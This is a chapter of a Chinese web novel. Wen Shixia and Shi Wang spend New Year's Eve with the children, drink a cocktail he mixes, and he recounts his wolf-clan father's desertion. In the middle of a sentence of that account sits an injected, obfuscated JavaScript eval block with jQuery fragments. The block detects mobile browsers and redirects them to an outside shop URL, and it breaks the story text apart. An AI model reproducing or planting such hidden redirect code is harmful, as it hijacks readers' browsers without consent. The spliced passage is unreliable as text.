冬季的黑夜格外漫长,寂静的雪花洋洋洒洒地落在这颗星球上,窗户边缘也布满了结成冰晶的小雪花。
温时夏拉着时妄一起玩了一会大富翁,尽管时妄是第一次玩这样的游戏,却能很快在只言片语中发现游戏的规则和漏洞。
眼看着自己的房产越来越少,即将破产的温时夏终于急了,她急哄哄地拉着时妄打算扔骰子的手,不自觉地软声撒娇,“让让我啊。”
时妄低头看着被拉住的手腕,抿了抿唇,“嗯,知道了。”
他说话算话,在接下来的游戏中直接将矛头转向了倒霉同局的驰野和司离,不仅让他们的财产直线缩水,还力捧温时夏成为了本局的首富。
驰野和司离:我要验牌。
温时夏美滋滋地独享整局资源,面对两个小崽子的控诉,她轻咳一声,转移话题,“咳,不玩了不玩了。咱们吃蛋糕去。”
司离在人群最后看着越发靠近的温时夏和时妄,眼里闪过一丝深思。
……
温时夏看着墙上的钟表,将屋内的所有灯光都关闭,蜡烛插在蛋糕上,瞬间屋内的光亮来源只有客厅温暖的火光在墙壁上跳跃摇曳着。
大家围坐在餐桌前,看着温时夏将蜡烛点亮,噼里啪啦的如同小小烟火一般的光亮在众人的眼里倒映着。
钟表的所有指针都指向了0,温时夏看了看桌上的几个孩子,最后视线停留在对面坐着的时妄身上,她笑着说,“新的一年,新的开始哦。”
时妄也笑了起来,一双琥珀色的眼眸在温暖的烛光下更加温润漂亮,总是桀骜的脸庞上透着几分难言的柔软和感性。
“嗯。新年快乐。”
大家一起在餐桌前将蛋糕分食而尽,带着那份萦绕心口的甜蜜进入梦乡。
看着已然睡熟的几个小崽子,温时夏将壁炉前的遮挡罩拉下,明亮的光线瞬间被拉低了几度,变成昏黄的暗光。
温时夏依旧睡在最中间,几个崽子们睡在周围,时妄则睡在靠近门口的位置,将他们保护在里面。
看着眼前昏沉模糊的屋子,温时夏翻过身,双臂交叉趴在柔软的枕头上,头枕着胳膊,心里思绪乱飞,难以入睡。
这时耳边传来时妄刻意压低的声音,“睡不着?”
温时夏偏过头看他,轻轻应了一声,时妄看了眼已经沉睡的崽子们,和温时夏提议,“要不要我给你调杯酒?”
温时夏登时眼睛都亮了,支起胳膊不可置信地问:“你还会调酒啊?”
时妄拉着她起身,给温时夏披上外套,嘴里淡淡回道,“嗯,刚进格斗场的时候,跟吧台的调酒师学过一段时间。”
时妄带着温时夏来到厨房,转身将门关紧,确保不会传出任何声音后,把最顶上柜子里的调酒设备拿出来,将它们擦拭得一尘不染,包括所有指纹痕迹。
他将几块冰块丢进调酒杯,又加进鲜榨的柠檬汁和白朗姆酒,还有一小杯温时夏不太清楚的白色液体,随机盖上杯盖摇晃起来。
或许是怕吵醒外面的孩子,也或许是本就如此,他摇晃的力道并不算大。
但洒脱随意的动作配上那副冷淡却带着极致吸引力的脸,让温时夏难以移开目光,痴痴地盯着他摇晃翻飞的细长手指。
时妄目光专注地将酒液倒进装满冰块的酒杯中,然后将蓝橙倒进去,梦幻一般的蓝色液体慢慢覆盖,发散,流淌其中,渐渐融为一体。
“试试。”他将酒杯推向温时夏,手撑着下巴看向她。
温时夏怔愣地接过酒杯,轻抿一口,酒精的苦涩和辛辣浸泡味蕾,划过喉咙后,柠檬的清香又不甘示弱地冒出来,在口腔中混合出刺激又清爽的混合口感。
温时夏惊喜地看向时妄,称赞道,“很好喝!”
时妄唇角自信一扬,“那当然了。”
温时夏嫌自己喝酒没意思,到后边就拉着时妄一块喝,好在这次的酒不算很烈,喝了好几杯也只是微醺的状态。
她被酒精熏红了脸,情绪被无限放大后,话更多了,嘴巴几乎没停过,“时妄,你想过从格斗场离开后,要做什么吗?”
时妄晃了晃酒杯,垂着眼眸无声嗅闻着空气中挥发出来的醇香酒精和身边人身上的栀子香,“我想考联邦军校。”
“联邦军校?我之前刷论坛的时候看到过,好像是这里最难考的大学,分数线高得离谱呢。”温时夏努力搜刮着脑海里关于这所学校的信息。
时妄轻轻点头,“是啊,这也是我妈妈对我的期待。”
温时夏回头看他,难得听他说起自己的母亲,“你妈妈是个怎样的人?”
时妄抬头饮下一口酒,再出声时低沉的嗓音似乎都带着几分酒精浸泡后的苦涩和怀念。
“她是一个很温柔很温柔的人,说话慢条斯理的,哪怕我在学校惹祸被叫家长也不会生气,开心时总喜欢用额头轻轻蹭我和时安。”
温时夏想起那张照片上气质温柔的女人,不禁对她产生几分好感,同时也对被撕掉的一截更加好奇。
如果那张是全家福,那么站在最边上的很有可能是时妄的父亲,但是她从没听过关于这个人的任何事情,既然被撕掉了,想必那些过往并不算多好。
尽管温时夏还有些好奇,但她闭口不言,不打算再接着问,但时妄却仿佛在这个夜晚产生了无尽的倾诉欲,接着说了下去。
“我们狼族,一生只有一个伴侣,结合后就会生生世世在一起,永远不会分开。很多人都说这很深情,也很浪漫,但人心易变,在我父亲眼里,那是如同枷锁一般的禁锢。”
“我妈妈在高中时和他相识,没多久就在一起了,我母亲不顾家族反对,执意和他私奔,在这个城市隐姓埋名,定居下来。”
“在我出生那几年,家中也是很温馨快乐的。”
“和许多父亲一样,他会带我们去游乐场,将我抱在脖子上看游行车队,但没过几年,他就如同变了个人。”
“他开始厌弃这种一成不变的贫穷生活,甚至将所有的失败都归咎于母亲身上,家里开始爆发前所未有的争吵和矛盾。”
“但他无法更换伴侣,因为狼族如果出轨,就会受到天惩,身体衰败而亡。”
“所以,他在母亲生下时安后离开了。”时妄声音嘶哑,捏紧了手中的酒杯,“母亲在他离开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248463|194458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不久后生了场病,撒手人寰了。”
温时夏在一旁静静听着,她有想过这背后的故事并不美好,却没想过真相会如此残忍。
时妄在年幼时曾感受过浓烈的温暖和幸福,因此在失去命运给予的一切后,无论他成为怎么样的人,似乎都不足为奇。
温时夏想起预知梦中,那个眼神阴郁麻木的时妄,眼底是如同浓雾一般,化不开的痛苦和悲伤,她的心不禁一揪,带着短暂的闷闷的阵痛。
但面对小朋友和动物以外的成年人,温时夏的安慰技能并不算多好。
曾经有朋友在她面前哭诉,而她只会递过去几张纸巾,然后在疯狂头脑风暴后,干巴巴地说一句,别哭了。
她看着身边的时妄,有些无措地开口安慰他,“好在现在一切都好起来了。要不要我帮你联系景云,推荐你去高中?”
她话题岔得僵硬,还偏偏提起了景云,但很成功地帮时妄摆脱了那份在时间的疗愈下,被渐渐埋藏起来的沉闷和痛苦。
时妄放下酒杯,脱口质问道,“你和他现在什么关系?”
温时夏一愣,下意识回道,“就,朋友啊。”
时妄微不可察地松了口气,随即轻咳一声,给自己续了一杯酒,看起来很淡然,毫不在意的样子。
“他不是什么好人,离他远点。”
温时夏反应过来,有些坏笑地用胳膊肘撞了撞他,“怎么?吃醋了?”
她这话说得直白,跟伸出指尖在两人之间的那层窗户纸上轻轻滑动没什么区别。
时妄一时之间耳廓瞬间红得彻底,身体也莫名热了起来,嗓子变得干渴难耐,他有些结巴地说:“没,没有。”
说完,时妄就慌慌张张将杯中的酒液一饮而尽,然后带着满身的燥热离开现场。
温时夏一手支着下巴,一手捏着酒杯,好整以暇地看着时妄落荒而逃的背影,暗笑不止。
是不是逗过头了?
……
时妄回到客厅,但壁炉的温度炙烤着,让他那份燥热难以排解,他只能轻声回到了自己的卧室。
二楼只有全屋地暖,相较于客厅的温度要低一些,再把卧室的窗户打开,屋外呼啸的寒风卷进来,让时妄好受了许多。
时妄紧缩眉头,发现了身体的不对劲,这情况和他之前的猜想越来越像了。
但不应该啊……
他拉开桌子的抽屉,从里面拿出一个小药瓶,打开塞了两颗进嘴里,咽下去后,身体愈演愈烈的热度总算下去了一些。
他将小药瓶拧好放回抽屉深处,为了不让温时夏担心,身体有所好转后立马回到了客厅躺好。
几乎是前后脚的时间,温时夏也开门回到了客厅。
时妄听到温时夏小声嘟囔了一句,“怎么这么快就睡了?”然后就听到对方蹑手蹑脚地钻进了自己的被子里。
直到客厅多出一个均匀平缓的呼吸声后,他才翻过身看向温时夏。
她正安稳地侧躺在崽子们的中间,手里还捏着一旁司离的大尾巴,睡相乖巧可爱。
时妄想,如果猜测是正确的,他得想办法离开一段时间了……